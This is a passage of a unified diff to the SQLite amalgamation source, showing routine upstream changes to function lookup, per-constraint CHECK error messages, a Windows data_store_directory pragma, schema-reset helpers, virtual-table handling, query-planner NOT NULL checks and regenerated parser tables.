  int createFlag     /* Create new entry if true and does not otherwise exist */
+
  u8 createFlag      /* Create new entry if true and does not otherwise exist */
){
  FuncDef *p;         /* Iterator variable */
  FuncDef *pBest = 0; /* Best match found so far */
  int bestScore = 0;  /* Score of best match */
  int h;              /* Hash value */

-

+
  assert( nArg>=(-2) );
+
  assert( nArg>=(-1) || createFlag==0 );
  assert( enc==SQLITE_UTF8 || enc==SQLITE_UTF16LE || enc==SQLITE_UTF16BE );
  h = (sqlite3UpperToLower[(u8)zName[0]] + nName) % ArraySize(db->aFunc.a);

@@ -85393,7 +86428,7 @@ SQLITE_PRIVATE FuncDef *sqlite3FindFunction(
  ** exact match for the name, number of arguments and encoding, then add a
  ** new entry to the hash table and return it.
  */
-
  if( createFlag && (bestScore<6 || pBest->nArg!=nArg) && 
+
  if( createFlag && bestScore<FUNC_PERFECT_MATCH && 
      (pBest = sqlite3DbMallocZero(db, sizeof(*pBest)+nName+1))!=0 ){
    pBest->zName = (char *)&pBest[1];
    pBest->nArg = (u16)nArg;
@@ -85845,7 +86880,7 @@ SQLITE_PRIVATE void sqlite3DeleteFrom(
        pParse, pTabList, pWhere, 0, 0, WHERE_DUPLICATES_OK
    );
    if( pWInfo==0 ) goto delete_from_cleanup;
-
    regRowid = sqlite3ExprCodeGetColumn(pParse, pTab, -1, iCur, iRowid);
+
    regRowid = sqlite3ExprCodeGetColumn(pParse, pTab, -1, iCur, iRowid, 0);
    sqlite3VdbeAddOp2(v, OP_RowSetAdd, iRowSet, regRowid);
    if( db->flags & SQLITE_CountRows ){
      sqlite3VdbeAddOp2(v, OP_AddImm, memCnt, 1);
@@ -87665,8 +88700,8 @@ SQLITE_PRIVATE void sqlite3RegisterGlobalFunctions(void){
    FUNCTION(max,               -1, 1, 1, minmaxFunc       ),
    FUNCTION(max,                0, 1, 1, 0                ),
    AGGREGATE(max,               1, 1, 1, minmaxStep,      minMaxFinalize ),
-
    FUNCTION(typeof,             1, 0, 0, typeofFunc       ),
-
    FUNCTION(length,             1, 0, 0, lengthFunc       ),
+
    FUNCTION2(typeof,            1, 0, 0, typeofFunc,  SQLITE_FUNC_TYPEOF),
+
    FUNCTION2(length,            1, 0, 0, lengthFunc,  SQLITE_FUNC_LENGTH),
    FUNCTION(substr,             2, 0, 0, substrFunc       ),
    FUNCTION(substr,             3, 0, 0, substrFunc       ),
    FUNCTION(abs,                1, 0, 0, absFunc          ),
@@ -87678,11 +88713,9 @@ SQLITE_PRIVATE void sqlite3RegisterGlobalFunctions(void){
    FUNCTION(lower,              1, 0, 0, lowerFunc        ),
    FUNCTION(coalesce,           1, 0, 0, 0                ),
    FUNCTION(coalesce,           0, 0, 0, 0                ),
-
/*  FUNCTION(coalesce,          -1, 0, 0, ifnullFunc       ), */
-
    {-1,SQLITE_UTF8,SQLITE_FUNC_COALESCE,0,0,ifnullFunc,0,0,"coalesce",0,0},
+
    FUNCTION2(coalesce,         -1, 0, 0, ifnullFunc,  SQLITE_FUNC_COALESCE),
    FUNCTION(hex,                1, 0, 0, hexFunc          ),
-
/*  FUNCTION(ifnull,             2, 0, 0, ifnullFunc       ), */
-
    {2,SQLITE_UTF8,SQLITE_FUNC_COALESCE,0,0,ifnullFunc,0,0,"ifnull",0,0},
+
    FUNCTION2(ifnull,            2, 0, 0, ifnullFunc,  SQLITE_FUNC_COALESCE),
    FUNCTION(random,             0, 0, 0, randomFunc       ),
    FUNCTION(randomblob,         1, 0, 0, randomBlob       ),
    FUNCTION(nullif,             2, 0, 1, nullifFunc       ),
@@ -90119,9 +91152,11 @@ SQLITE_PRIVATE void sqlite3GenerateConstraintChecks(
  int regData;        /* Register containing first data column */
  int iCur;           /* Table cursor number */
  Index *pIdx;         /* Pointer to one of the indices */
+
  sqlite3 *db;         /* Database connection */
  int seenReplace = 0; /* True if REPLACE is used to resolve INT PK conflict */
  int regOldRowid = (rowidChng && isUpdate) ? rowidChng : regRowid;

+
  db = pParse->db;
  v = sqlite3GetVdbe(pParse);
  assert( v!=0 );
  assert( pTab->pSelect==0 );  /* This table is not a VIEW */
@@ -90154,7 +91189,7 @@ SQLITE_PRIVATE void sqlite3GenerateConstraintChecks(
        char *zMsg;
        sqlite3VdbeAddOp3(v, OP_HaltIfNull,
                                  SQLITE_CONSTRAINT, onError, regData+i);
-
        zMsg = sqlite3MPrintf(pParse->db, "%s.%s may not be NULL",
+
        zMsg = sqlite3MPrintf(db, "%s.%s may not be NULL",
                              pTab->zName, pTab->aCol[i].zName);
        sqlite3VdbeChangeP4(v, -1, zMsg, P4_DYNAMIC);
        break;
@@ -90176,18 +91211,27 @@ SQLITE_PRIVATE void sqlite3GenerateConstraintChecks(
  /* Test all CHECK constraints
  */
#ifndef SQLITE_OMIT_CHECK
-
  if( pTab->pCheck && (pParse->db->flags & SQLITE_IgnoreChecks)==0 ){
-
    int allOk = sqlite3VdbeMakeLabel(v);
+
  if( pTab->pCheck && (db->flags & SQLITE_IgnoreChecks)==0 ){
+
    ExprList *pCheck = pTab->pCheck;
    pParse->ckBase = regData;
-
    sqlite3ExprIfTrue(pParse, pTab->pCheck, allOk, SQLITE_JUMPIFNULL);
    onError = overrideError!=OE_Default ? overrideError : OE_Abort;
-
    if( onError==OE_Ignore ){
-
      sqlite3VdbeAddOp2(v, OP_Goto, 0, ignoreDest);
-
    }else{
-
      if( onError==OE_Replace ) onError = OE_Abort; /* IMP: R-15569-63625 */
-
      sqlite3HaltConstraint(pParse, onError, 0, 0);
+
    for(i=0; i<pCheck->nExpr; i++){
+
      int allOk = sqlite3VdbeMakeLabel(v);
+
      sqlite3ExprIfTrue(pParse, pCheck->a[i].pExpr, allOk, SQLITE_JUMPIFNULL);
+
      if( onError==OE_Ignore ){
+
        sqlite3VdbeAddOp2(v, OP_Goto, 0, ignoreDest);
+
      }else{
+
        char *zConsName = pCheck->a[i].zName;
+
        if( onError==OE_Replace ) onError = OE_Abort; /* IMP: R-15569-63625 */
+
        if( zConsName ){
+
          zConsName = sqlite3MPrintf(db, "constraint %s failed", zConsName);
+
        }else{
+
          zConsName = 0;
+
        }
+
        sqlite3HaltConstraint(pParse, onError, zConsName, P4_DYNAMIC);
+
      }
+
      sqlite3VdbeResolveLabel(v, allOk);
    }
-
    sqlite3VdbeResolveLabel(v, allOk);
  }
#endif /* !defined(SQLITE_OMIT_CHECK) */

@@ -90243,7 +91287,7 @@ SQLITE_PRIVATE void sqlite3GenerateConstraintChecks(
        ** table.
        */
        Trigger *pTrigger = 0;
-
        if( pParse->db->flags&SQLITE_RecTriggers ){
+
        if( db->flags&SQLITE_RecTriggers ){
          pTrigger = sqlite3TriggersExist(pParse, pTab, TK_DELETE, 0, 0);
        }
        if( pTrigger || sqlite3FkRequired(pParse, pTab, 0, 0) ){
@@ -90332,7 +91376,7 @@ SQLITE_PRIVATE void sqlite3GenerateConstraintChecks(
        char *zErr;

        sqlite3StrAccumInit(&errMsg, 0, 0, 200);
-
        errMsg.db = pParse->db;
+
        errMsg.db = db;
        zSep = pIdx->nColumn>1 ? "columns " : "column ";
        for(j=0; j<pIdx->nColumn; j++){
          char *zCol = pTab->aCol[pIdx->aiColumn[j]].zName;
@@ -90356,7 +91400,7 @@ SQLITE_PRIVATE void sqlite3GenerateConstraintChecks(
        Trigger *pTrigger = 0;
        assert( onError==OE_Replace );
        sqlite3MultiWrite(pParse);
-
        if( pParse->db->flags&SQLITE_RecTriggers ){
+
        if( db->flags&SQLITE_RecTriggers ){
          pTrigger = sqlite3TriggersExist(pParse, pTab, TK_DELETE, 0, 0);
        }
        sqlite3GenerateRowDelete(
@@ -90686,7 +91730,7 @@ static int xferOptimization(
    }
  }
#ifndef SQLITE_OMIT_CHECK
-
  if( pDest->pCheck && sqlite3ExprCompare(pSrc->pCheck, pDest->pCheck) ){
+
  if( pDest->pCheck && sqlite3ExprListCompare(pSrc->pCheck, pDest->pCheck) ){
    return 0;   /* Tables have different CHECK constraints.  Ticket #2252 */
  }
#endif
@@ -92181,7 +93225,7 @@ static int invalidateTempStorage(Parse *pParse){
    }
    sqlite3BtreeClose(db->aDb[1].pBt);
    db->aDb[1].pBt = 0;
-
    sqlite3ResetInternalSchema(db, -1);
+
    sqlite3ResetAllSchemasOfConnection(db);
  }
  return SQLITE_OK;
}
@@ -92867,6 +93911,50 @@ SQLITE_PRIVATE void sqlite3Pragma(
    }
  }else

+
#if SQLITE_OS_WIN
+
  /*
+
  **   PRAGMA data_store_directory
+
  **   PRAGMA data_store_directory = ""|"directory_name"
+
  **
+
  ** Return or set the local value of the data_store_directory flag.  Changing
+
  ** the value sets a specific directory to be used for database files that
+
  ** were specified with a relative pathname.  Setting to a null string reverts
+
  ** to the default database directory, which for database files specified with
+
  ** a relative path will probably be based on the current directory for the
+
  ** process.  Database file specified with an absolute path are not impacted
+
  ** by this setting, regardless of its value.
+
  **
+
  */
+
  if( sqlite3StrICmp(zLeft, "data_store_directory")==0 ){
+
    if( !zRight ){
+
      if( sqlite3_data_directory ){
+
        sqlite3VdbeSetNumCols(v, 1);
+
        sqlite3VdbeSetColName(v, 0, COLNAME_NAME, 
+
            "data_store_directory", SQLITE_STATIC);
+
        sqlite3VdbeAddOp4(v, OP_String8, 0, 1, 0, sqlite3_data_directory, 0);
+
        sqlite3VdbeAddOp2(v, OP_ResultRow, 1, 1);
+
      }
+
    }else{
+
#ifndef SQLITE_OMIT_WSD
+
      if( zRight[0] ){
+
        int res;
+
        rc = sqlite3OsAccess(db->pVfs, zRight, SQLITE_ACCESS_READWRITE, &res);
+
        if( rc!=SQLITE_OK || res==0 ){
+
          sqlite3ErrorMsg(pParse, "not a writable directory");
+
          goto pragma_out;
+
        }
+
      }
+
      sqlite3_free(sqlite3_data_directory);
+
      if( zRight[0] ){
+
        sqlite3_data_directory = sqlite3_mprintf("%s", zRight);
+
      }else{
+
        sqlite3_data_directory = 0;
+
      }
+
#endif /* SQLITE_OMIT_WSD */
+
    }
+
  }else
+
#endif
+

#if !defined(SQLITE_ENABLE_LOCKING_STYLE)
#  if defined(__APPLE__)
#    define SQLITE_ENABLE_LOCKING_STYLE 1
@@ -93899,7 +94987,6 @@ static int sqlite3InitOne(sqlite3 *db, int iDb, char **pzErrMsg){
      encoding = (u8)meta[BTREE_TEXT_ENCODING-1] & 3;
      if( encoding==0 ) encoding = SQLITE_UTF8;
      ENC(db) = encoding;
-
      db->pDfltColl = sqlite3FindCollSeq(db, SQLITE_UTF8, "BINARY", 0);
    }else{
      /* If opening an attached database, the encoding much match ENC(db) */
      if( meta[BTREE_TEXT_ENCODING-1]!=ENC(db) ){
@@ -93979,7 +95066,7 @@ static int sqlite3InitOne(sqlite3 *db, int iDb, char **pzErrMsg){
  }
  if( db->mallocFailed ){
    rc = SQLITE_NOMEM;
-
    sqlite3ResetInternalSchema(db, -1);
+
    sqlite3ResetAllSchemasOfConnection(db);
  }
  if( rc==SQLITE_OK || (db->flags&SQLITE_RecoveryMode)){
    /* Black magic: If the SQLITE_RecoveryMode flag is set, then consider
@@ -94032,7 +95119,7 @@ SQLITE_PRIVATE int sqlite3Init(sqlite3 *db, char **pzErrMsg){
    if( DbHasProperty(db, i, DB_SchemaLoaded) || i==1 ) continue;
    rc = sqlite3InitOne(db, i, pzErrMsg);
    if( rc ){
-
      sqlite3ResetInternalSchema(db, i);
+
      sqlite3ResetOneSchema(db, i);
    }
  }

@@ -94045,7 +95132,7 @@ SQLITE_PRIVATE int sqlite3Init(sqlite3 *db, char **pzErrMsg){
                    && !DbHasProperty(db, 1, DB_SchemaLoaded) ){
    rc = sqlite3InitOne(db, 1, pzErrMsg);
    if( rc ){
-
      sqlite3ResetInternalSchema(db, 1);
+
      sqlite3ResetOneSchema(db, 1);
    }
  }
#endif
@@ -94113,7 +95200,7 @@ static void schemaIsValid(Parse *pParse){
    sqlite3BtreeGetMeta(pBt, BTREE_SCHEMA_VERSION, (u32 *)&cookie);
    assert( sqlite3SchemaMutexHeld(db, iDb, 0) );
    if( cookie!=db->aDb[iDb].pSchema->schema_cookie ){
-
      sqlite3ResetInternalSchema(db, iDb);
+
      sqlite3ResetOneSchema(db, iDb);
      pParse->rc = SQLITE_SCHEMA;
    }

@@ -94343,6 +95430,7 @@ static int sqlite3LockAndPrepare(
  }
  sqlite3BtreeLeaveAll(db);
  sqlite3_mutex_leave(db->mutex);
+
  assert( rc==SQLITE_OK || *ppStmt==0 );
  return rc;
}

@@ -95759,9 +96847,17 @@ static int selectColumnsFromExprList(
  char *zName;                /* Column name */
  int nName;                  /* Size of name in zName[] */

-
  *pnCol = nCol = pEList ? pEList->nExpr : 0;
-
  aCol = *paCol = sqlite3DbMallocZero(db, sizeof(aCol[0])*nCol);
-
  if( aCol==0 ) return SQLITE_NOMEM;
+
  if( pEList ){
+
    nCol = pEList->nExpr;
+
    aCol = sqlite3DbMallocZero(db, sizeof(aCol[0])*nCol);
+
    testcase( aCol==0 );
+
  }else{
+
    nCol = 0;
+
    aCol = 0;
+
  }
+
  *pnCol = nCol;
+
  *paCol = aCol;
+

  for(i=0, pCol=aCol; i<nCol; i++, pCol++){
    /* Get an appropriate name for the column
    */
@@ -97344,7 +98440,8 @@ static int flattenSubquery(

  /* Authorize the subquery */
  pParse->zAuthContext = pSubitem->zName;
-
  sqlite3AuthCheck(pParse, SQLITE_SELECT, 0, 0, 0);
+
  TESTONLY(i =) sqlite3AuthCheck(pParse, SQLITE_SELECT, 0, 0, 0);
+
  testcase( i==SQLITE_DENY );
  pParse->zAuthContext = zSavedAuthContext;

  /* If the sub-query is a compound SELECT statement, then (by restrictions
@@ -97641,6 +98738,7 @@ static Table *isSimpleCount(Select *p, AggInfo *pAggInfo){

  if( IsVirtual(pTab) ) return 0;
  if( pExpr->op!=TK_AGG_FUNCTION ) return 0;
+
  if( pAggInfo->nFunc==0 ) return 0;
  if( (pAggInfo->aFunc[0].pFunc->flags&SQLITE_FUNC_COUNT)==0 ) return 0;
  if( pExpr->flags&EP_Distinct ) return 0;

@@ -98631,7 +99729,9 @@ SQLITE_PRIVATE int sqlite3Select(
    sAggInfo.nAccumulator = sAggInfo.nColumn;
    for(i=0; i<sAggInfo.nFunc; i++){
      assert( !ExprHasProperty(sAggInfo.aFunc[i].pExpr, EP_xIsSelect) );
+
      sNC.ncFlags |= NC_InAggFunc;
      sqlite3ExprAnalyzeAggList(&sNC, sAggInfo.aFunc[i].pExpr->x.pList);
+
      sNC.ncFlags &= ~NC_InAggFunc;
    }
    if( db->mallocFailed ) goto select_end;

@@ -98729,7 +99829,7 @@ SQLITE_PRIVATE int sqlite3Select(
            int r2;

            r2 = sqlite3ExprCodeGetColumn(pParse, 
-
                               pCol->pTab, pCol->iColumn, pCol->iTable, r1);
+
                               pCol->pTab, pCol->iColumn, pCol->iTable, r1, 0);
            if( r1!=r2 ){
              sqlite3VdbeAddOp2(v, OP_SCopy, r2, r1);
            }
@@ -101453,7 +102553,7 @@ end_of_vacuum:

  /* This both clears the schemas and reduces the size of the db->aDb[]
  ** array. */ 
-
  sqlite3ResetInternalSchema(db, -1);
+
  sqlite3ResetAllSchemasOfConnection(db);

  return rc;
}
@@ -101485,8 +102585,8 @@ end_of_vacuum:
** are invoked only from within xCreate and xConnect methods.
*/
struct VtabCtx {
-
  Table *pTab;
-
  VTable *pVTable;
+
  VTable *pVTable;    /* The virtual table being constructed */
+
  Table *pTab;        /* The Table object to which the virtual table belongs */
};

/*
@@ -101501,33 +102601,35 @@ static int createModule(
  void *pAux,                     /* Context pointer for xCreate/xConnect */
  void (*xDestroy)(void *)        /* Module destructor function */
){
-
  int rc, nName;
-
  Module *pMod;
+
  int rc = SQLITE_OK;
+
  int nName;

  sqlite3_mutex_enter(db->mutex);
  nName = sqlite3Strlen30(zName);
-
  pMod = (Module *)sqlite3DbMallocRaw(db, sizeof(Module) + nName + 1);
-
  if( pMod ){
-
    Module *pDel;
-
    char *zCopy = (char *)(&pMod[1]);
-
    memcpy(zCopy, zName, nName+1);
-
    pMod->zName = zCopy;
-
    pMod->pModule = pModule;
-
    pMod->pAux = pAux;
-
    pMod->xDestroy = xDestroy;
-
    pDel = (Module *)sqlite3HashInsert(&db->aModule, zCopy, nName, (void*)pMod);
-
    if( pDel && pDel->xDestroy ){
-
      sqlite3ResetInternalSchema(db, -1);
-
      pDel->xDestroy(pDel->pAux);
-
    }
-
    sqlite3DbFree(db, pDel);
-
    if( pDel==pMod ){
-
      db->mallocFailed = 1;
+
  if( sqlite3HashFind(&db->aModule, zName, nName) ){
+
    rc = SQLITE_MISUSE_BKPT;
+
  }else{
+
    Module *pMod;
+
    pMod = (Module *)sqlite3DbMallocRaw(db, sizeof(Module) + nName + 1);
+
    if( pMod ){
+
      Module *pDel;
+
      char *zCopy = (char *)(&pMod[1]);
+
      memcpy(zCopy, zName, nName+1);
+
      pMod->zName = zCopy;
+
      pMod->pModule = pModule;
+
      pMod->pAux = pAux;
+
      pMod->xDestroy = xDestroy;
+
      pDel = (Module *)sqlite3HashInsert(&db->aModule,zCopy,nName,(void*)pMod);
+
      assert( pDel==0 || pDel==pMod );
+
      if( pDel ){
+
        db->mallocFailed = 1;
+
        sqlite3DbFree(db, pDel);
+
      }
    }
-
  }else if( xDestroy ){
-
    xDestroy(pAux);
  }
-
  rc = sqlite3ApiExit(db, SQLITE_OK);
+
  rc = sqlite3ApiExit(db, rc);
+
  if( rc!=SQLITE_OK && xDestroy ) xDestroy(pAux);
+

  sqlite3_mutex_leave(db->mutex);
  return rc;
}
@@ -101643,6 +102745,31 @@ static VTable *vtabDisconnectAll(sqlite3 *db, Table *p){
  return pRet;
}

+
/*
+
** Table *p is a virtual table. This function removes the VTable object
+
** for table *p associated with database connection db from the linked
+
** list in p->pVTab. It also decrements the VTable ref count. This is
+
** used when closing database connection db to free all of its VTable
+
** objects without disturbing the rest of the Schema object (which may
+
** be being used by other shared-cache connections).
+
*/
+
SQLITE_PRIVATE void sqlite3VtabDisconnect(sqlite3 *db, Table *p){
+
  VTable **ppVTab;
+

+
  assert( IsVirtual(p) );
+
  assert( sqlite3BtreeHoldsAllMutexes(db) );
+
  assert( sqlite3_mutex_held(db->mutex) );
+

+
  for(ppVTab=&p->pVTable; *ppVTab; ppVTab=&(*ppVTab)->pNext){
+
    if( (*ppVTab)->db==db  ){
+
      VTable *pVTab = *ppVTab;
+
      *ppVTab = pVTab->pNext;
+
      sqlite3VtabUnlock(pVTab);
+
      break;
+
    }
+
  }
+
}
+


/*
** Disconnect all the virtual table objects in the sqlite3.pDisconnect list.
@@ -101910,7 +103037,7 @@ static int vtabCallConstructor(
  int (*xConstruct)(sqlite3*,void*,int,const char*const*,sqlite3_vtab**,char**),
  char **pzErr
){
-
  VtabCtx sCtx;
+
  VtabCtx sCtx, *pPriorCtx;
  VTable *pVTable;
  int rc;
  const char *const*azArg = (const char *const*)pTab->azModuleArg;
@@ -101935,9 +103062,10 @@ static int vtabCallConstructor(
  assert( xConstruct );
  sCtx.pTab = pTab;
  sCtx.pVTable = pVTable;
+
  pPriorCtx = db->pVtabCtx;
  db->pVtabCtx = &sCtx;
  rc = xConstruct(db, pMod->pAux, nArg, azArg, &pVTable->pVtab, &zErr);
-
  db->pVtabCtx = 0;
+
  db->pVtabCtx = pPriorCtx;
  if( rc==SQLITE_NOMEM ) db->mallocFailed = 1;

  if( SQLITE_OK!=rc ){
@@ -103218,7 +104346,10 @@ static int isLikeOrGlob(
#endif
  pList = pExpr->x.pList;
  pLeft = pList->a[1].pExpr;
-
  if( pLeft->op!=TK_COLUMN || sqlite3ExprAffinity(pLeft)!=SQLITE_AFF_TEXT ){
+
  if( pLeft->op!=TK_COLUMN 
+
   || sqlite3ExprAffinity(pLeft)!=SQLITE_AFF_TEXT 
+
   || IsVirtual(pLeft->pTab)
+
  ){
    /* IMP: R-02065-49465 The left-hand side of the LIKE or GLOB operator must
    ** be the name of an indexed column with TEXT affinity. */
    return 0;
@@ -104091,15 +105222,19 @@ static int isDistinctRedundant(
  **      list, or else the WHERE clause contains a term of the form "col=X",
  **      where X is a constant value. The collation sequences of the
  **      comparison and select-list expressions must match those of the index.
+
  **
+
  **   3. All of those index columns for which the WHERE clause does not
+
  **      contain a "col=X" term are subject to a NOT NULL constraint.
  */
  for(pIdx=pTab->pIndex; pIdx; pIdx=pIdx->pNext){
    if( pIdx->onError==OE_None ) continue;
    for(i=0; i<pIdx->nColumn; i++){
      int iCol = pIdx->aiColumn[i];
-
      if( 0==findTerm(pWC, iBase, iCol, ~(Bitmask)0, WO_EQ, pIdx) 
-
       && 0>findIndexCol(pParse, pDistinct, iBase, pIdx, i)
-
      ){
-
        break;
+
      if( 0==findTerm(pWC, iBase, iCol, ~(Bitmask)0, WO_EQ, pIdx) ){
+
        int iIdxCol = findIndexCol(pParse, pDistinct, iBase, pIdx, i);
+
        if( iIdxCol<0 || pTab->aCol[pIdx->aiColumn[i]].notNull==0 ){
+
          break;
+
        }
      }
    }
    if( i==pIdx->nColumn ){
@@ -104247,14 +105382,25 @@ static int isSortingIndex(
  }
  if( pIdx->onError!=OE_None && i==pIdx->nColumn
      && (wsFlags & WHERE_COLUMN_NULL)==0
-
      && !referencesOtherTables(pOrderBy, pMaskSet, j, base) ){
-
    /* All terms of this index match some prefix of the ORDER BY clause
-
    ** and the index is UNIQUE and no terms on the tail of the ORDER BY
-
    ** clause reference other tables in a join.  If this is all true then
-
    ** the order by clause is superfluous.  Not that if the matching
-
    ** condition is IS NULL then the result is not necessarily unique
-
    ** even on a UNIQUE index, so disallow those cases. */
-
    return 1;
+
      && !referencesOtherTables(pOrderBy, pMaskSet, j, base) 
+
  ){
+
    Column *aCol = pIdx->pTable->aCol;
+

+
    /* All terms of this index match some prefix of the ORDER BY clause,
+
    ** the index is UNIQUE, and no terms on the tail of the ORDER BY
+
    ** refer to other tables in a join. So, assuming that the index entries
+
    ** visited contain no NULL values, then this index delivers rows in
+
    ** the required order.
+
    **
+
    ** It is not possible for any of the first nEqCol index fields to be
+
    ** NULL (since the corresponding "=" operator in the WHERE clause would 
+
    ** not be true). So if all remaining index columns have NOT NULL 
+
    ** constaints attached to them, we can be confident that the visited
+
    ** index entries are free of NULLs.  */
+
    for(i=nEqCol; i<pIdx->nColumn; i++){
+
      if( aCol[pIdx->aiColumn[i]].notNull==0 ) break;
+
    }
+
    return (i==pIdx->nColumn);
  }
  return 0;
}
@@ -106915,7 +108061,7 @@ static Bitmask codeOneLoopStart(
            int iSet = ((ii==pOrWc->nTerm-1)?-1:ii);
            int r;
            r = sqlite3ExprCodeGetColumn(pParse, pTabItem->pTab, -1, iCur, 
-
                                         regRowid);
+
                                         regRowid, 0);
            sqlite3VdbeAddOp4Int(v, OP_RowSetTest, regRowset,
                                 sqlite3VdbeCurrentAddr(v)+2, r, iSet);
          }
@@ -107828,7 +108974,7 @@ struct LimitVal {
*/
struct LikeOp {
  Token eOperator;  /* "like" or "glob" or "regexp" */
-
  int not;         /* True if the NOT keyword is present */
+
  int bNot;         /* True if the NOT keyword is present */
};

/*
@@ -108007,7 +109153,7 @@ typedef union {
#define sqlite3ParserARG_PDECL ,Parse *pParse
#define sqlite3ParserARG_FETCH Parse *pParse = yypParser->pParse
#define sqlite3ParserARG_STORE yypParser->pParse = pParse
-
#define YYNSTATE 629
+
#define YYNSTATE 627
#define YYNRULE 327
#define YYFALLBACK 1
#define YY_NO_ACTION      (YYNSTATE+YYNRULE+2)
@@ -108078,476 +109224,474 @@ static const YYMINORTYPE yyzerominor = { 0 };
**                     shifting non-terminals after a reduce.
**  yy_default[]       Default action for each state.
*/
-
#define YY_ACTTAB_COUNT (1580)
+
#define YY_ACTTAB_COUNT (1564)
static const YYACTIONTYPE yy_action[] = {
-
 /*     0 */   310,  328,  574,  573,   15,  172,  187,  596,   56,   56,
+
 /*     0 */   309,  955,  184,  417,    2,  171,  624,  594,   56,   56,
 /*    10 */    56,   56,   49,   54,   54,   54,   54,   53,   53,   52,
-
 /*    20 */    52,   52,   51,  234,  622,  621,  626,  622,  621,  299,
-
 /*    30 */   589,  583,   56,   56,   56,   56,  236,   54,   54,   54,
-
 /*    40 */    54,   53,   53,   52,   52,   52,   51,  234,  351,   57,
-
 /*    50 */    58,   48,  581,  580,  582,  582,   55,   55,   56,   56,
-
 /*    60 */    56,   56,  570,   54,   54,   54,   54,   53,   53,   52,
-
 /*    70 */    52,   52,   51,  234,  310,  596,  326,  607,  233,  232,
+
 /*    20 */    52,   52,   51,  233,  620,  619,  298,  620,  619,  234,
+
 /*    30 */   587,  581,   56,   56,   56,   56,   19,   54,   54,   54,
+
 /*    40 */    54,   53,   53,   52,   52,   52,   51,  233,  605,   57,
+
 /*    50 */    58,   48,  579,  578,  580,  580,   55,   55,   56,   56,
+
 /*    60 */    56,   56,  541,   54,   54,   54,   54,   53,   53,   52,
+
 /*    70 */    52,   52,   51,  233,  309,  594,  325,  196,  195,  194,
 /*    80 */    33,   54,   54,   54,   54,   53,   53,   52,   52,   52,
-
 /*    90 */    51,  234,  619,  618,  326,  619,  618,  166,  605,  492,
-
 /*   100 */   381,  378,  377,  235,  589,  583,  554,  495,    1,   59,
-
 /*   110 */    19,  376,  622,  621,   53,   53,   52,   52,   52,   51,
-
 /*   120 */   234,  571,  571,   57,   58,   48,  581,  580,  582,  582,
-
 /*   130 */    55,   55,   56,   56,   56,   56,  215,   54,   54,   54,
-
 /*   140 */    54,   53,   53,   52,   52,   52,   51,  234,  310,  224,
-
 /*   150 */    50,   47,  147,  177,  139,  281,  384,  276,  383,  169,
-
 /*   160 */   408,  553,  578,  578,  622,  621,  272,  224,  439,  550,
-
 /*   170 */   552,  410,  139,  281,  384,  276,  383,  169,  589,  583,
-
 /*   180 */   619,  618,  280,  620,  272,  195,  413,  309,  440,  441,
-
 /*   190 */   567,  491,  214,  279,  560,  600,   92,   57,   58,   48,
-
 /*   200 */   581,  580,  582,  582,   55,   55,   56,   56,   56,   56,
-
 /*   210 */   559,   54,   54,   54,   54,   53,   53,   52,   52,   52,
-
 /*   220 */    51,  234,  310,  464,  233,  232,  558,  133,  519,   50,
-
 /*   230 */    47,  147,  619,  618,  565,  436,  397,  515,  514,  518,
-
 /*   240 */   410,  387,  438,  389,  437,  622,  621,  442,  570,  433,
-
 /*   250 */   203,  390,  589,  583,    6,  413,  166,  670,  250,  381,
-
 /*   260 */   378,  377,  525,  190,  600,   92,  594,  571,  571,  465,
-
 /*   270 */   376,   57,   58,   48,  581,  580,  582,  582,   55,   55,
-
 /*   280 */    56,   56,   56,   56,  599,   54,   54,   54,   54,   53,
-
 /*   290 */    53,   52,   52,   52,   51,  234,  310,  592,  592,  592,
-
 /*   300 */   490,  182,  247,  548,  249,  397,  273,  410,    7,  439,
-
 /*   310 */   398,  606,   67,  619,  618,  620,  472,  256,  347,  255,
-
 /*   320 */   473,  620,  413,  576,  620,   65,  589,  583,  236,  440,
-
 /*   330 */   336,  600,   92,   68,  364,  192,  481,  622,  621,  547,
-
 /*   340 */   622,  621,  560,  323,  207,   57,   58,   48,  581,  580,
-
 /*   350 */   582,  582,   55,   55,   56,   56,   56,   56,  559,   54,
-
 /*   360 */    54,   54,   54,   53,   53,   52,   52,   52,   51,  234,
-
 /*   370 */   310,  410,  397,  146,  558,  531,  401,  348,  599,  166,
-
 /*   380 */   248,  204,  381,  378,  377,  541,  413,  171,  337,  570,
-
 /*   390 */   622,  621,   40,  376,   38,  600,   74,  465,  548,  490,
-
 /*   400 */   589,  583,  532,  350,  579,  619,  618,  297,  619,  618,
-
 /*   410 */   480,   67,  470,   39,  620,  599,  406,  574,  573,   57,
-
 /*   420 */    58,   48,  581,  580,  582,  582,   55,   55,   56,   56,
-
 /*   430 */    56,   56,  577,   54,   54,   54,   54,   53,   53,   52,
-
 /*   440 */    52,   52,   51,  234,  310,  256,  347,  255,  530,   52,
-
 /*   450 */    52,   52,   51,  234,  345,  564,  236,  386,  619,  618,
-
 /*   460 */   957,  185,  418,    2,  408,  410,  578,  578,  198,  197,
-
 /*   470 */   196,  499,  183,  167,  589,  583,  671,  570,  505,  506,
-
 /*   480 */   413,  267,  601,  672,  546,  208,  602,   36,  601,  600,
-
 /*   490 */    91,  468,  602,   57,   58,   48,  581,  580,  582,  582,
-
 /*   500 */    55,   55,   56,   56,   56,   56,  202,   54,   54,   54,
-
 /*   510 */    54,   53,   53,   52,   52,   52,   51,  234,  310,  599,
-
 /*   520 */   157,  408,  527,  578,  578,  263,  490,  265,  410,  873,
-
 /*   530 */   410,  474,  474,  366,  373,  410,  504,  428,   67,  290,
-
 /*   540 */   599,  620,  352,  413,  408,  413,  578,  578,  589,  583,
-
 /*   550 */   413,  382,  600,   92,  600,   16,  543,   62,  503,  600,
-
 /*   560 */    92,  408,  346,  578,  578,  168,   45,   57,   58,   48,
-
 /*   570 */   581,  580,  582,  582,   55,   55,   56,   56,   56,   56,
-
 /*   580 */   200,   54,   54,   54,   54,   53,   53,   52,   52,   52,
-
 /*   590 */    51,  234,  310,  393,  395,  534,  510,  617,  616,  615,
-
 /*   600 */   318,  314,  172,   66,  596,  410,  338,  596,  324,  571,
-
 /*   610 */   571,   50,   47,  147,  599,  629,  627,  330,  539,  315,
-
 /*   620 */   413,   30,  589,  583,  272,  236,  199,  144,  176,  600,
-
 /*   630 */    73,  420,  947,  620,  947,  420,  946,  351,  946,  175,
-
 /*   640 */   596,   57,   58,   48,  581,  580,  582,  582,   55,   55,
-
 /*   650 */    56,   56,   56,   56,  410,   54,   54,   54,   54,   53,
-
 /*   660 */    53,   52,   52,   52,   51,  234,  310,  261,  410,  413,
-
 /*   670 */   269,  208,  596,  363,  410,  596,  424,  360,  600,   69,
-
 /*   680 */   424,  327,  620,  413,   50,   47,  147,  410,  358,  413,
-
